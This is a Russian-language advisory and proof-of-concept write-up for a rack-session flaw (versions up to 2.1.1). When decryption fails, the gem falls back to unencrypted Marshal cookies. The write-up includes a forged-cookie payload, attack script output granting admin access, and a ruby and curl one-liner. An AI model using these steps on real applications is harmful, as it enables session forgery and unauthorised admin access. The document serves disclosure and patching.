
Эксплойт для проверки концепции обхода аутентификации Rack::Cookie (CVE-2026-39324), демонстрирующий подделку сессии через резервный кодер для получения доступа администратора.
Сбой расшифровки Rack::Session::Cookie приводит к приёму незашифрованных cookie
| Консультация | GHSA-33qg-7wpp-89cq |
| Пакет | rack-session (RubyGems) |
| Затронутые версии | <= 2.1.1 |
| Исправлено в | 2.1.2 |
Rack::Session::Cookie с параметром secrets: должен принимать только зашифрованные cookie. Но когда расшифровка не удаётся, он не отклоняет cookie — вместо этого он переключается на стандартный кодер Base64::Marshal.
Злоумышленник может отправить обычный cookie Base64(Marshal.dump(...)), и сервер примет его как действительные данные сессии, не зная ни одного секрета.
rack-session <= 2.1.1Rack::Session::Cookie с параметром secrets:user_id, role и т. д.) для авторизацииНе затронуты:
secret: (единственное число) — использует HMAC-подпись, другой путь кода. Уязвим только secrets: (множественное число, режим зашифрованных cookie).ActionDispatch::Session::CookieStore, отдельная реализация.# lib/rack/session/cookie.rb
# Резервный кодер создаётся всегда, независимо от конфигурации secrets:
@coder = options[:coder] ||= Base64::Marshal.new
# Пытается расшифровать — все попытки неудачны для незашифрованного cookie
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# ОШИБКА: не отклоняет, переходит к незашифрованному кодеру
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
Сбой расшифровки на пути secrets: должен быть терминальным. Вместо этого cookie передаётся в coder.decode(), поэтому обычные cookie загружаются как данные сессии.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Rack-приложение с конфигурацией secrets:
├── verify.rb Базовая проверка (нормальное поведение)
└── attack.rb Подделка сессии (эксплойт)
cd poc
bundle install
ruby server.rb & # запустить уязвимый сервер
ruby verify.rb # подтвердить нормальное поведение
ruby attack.rb # подделать cookie → доступ администратора
Rack-приложение, использующее secrets: для зашифрованных cookie. Два пользователя: id=1 (обычный), id=2 (администратор). В сессии хранится только user_id; проверка администратора — это серверный поиск.
Подтверждает, что сервер работает корректно:
| Запрос | Ожидаемый результат |
|---|---|
GET /admin (без cookie) | 403 |
POST /login?id=1 | 200, зашифрованный cookie |
GET /admin (cookie пользователя id=1) | 403 |
Подделывает cookie сессии без какого-либо секрета.
1) Подделка cookie:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Процесс на стороне сервера при получении поддельного cookie:
encryptor #1 decrypt → HMAC недействителен
encryptor #2 decrypt → HMAC недействителен
fallback → coder.decode() → Marshal.load → сессия злоумышленника принята
→ session["user_id"] = 2 → пользователь-администратор определён → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Подделка сессии ---
Цель: http://127.0.0.1:9416
Полезная нагрузка: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Ошибка шифровальщика cookie сессии: HMAC недействителен ← encryptor #1 не сработал
Ошибка шифровальщика cookie сессии: HMAC недействителен ← encryptor #2 не сработал, но cookie не отклонён
Статус: 200
Тело: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] УЯЗВИМО — поддельный user_id=2 принят, предоставлен доступ администратора.
Обе проверки HMAC не проходят, но cookie не отклоняется — резервный кодер принимает его, и злоумышленник получает доступ администратора.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session до версии >= 2.1.2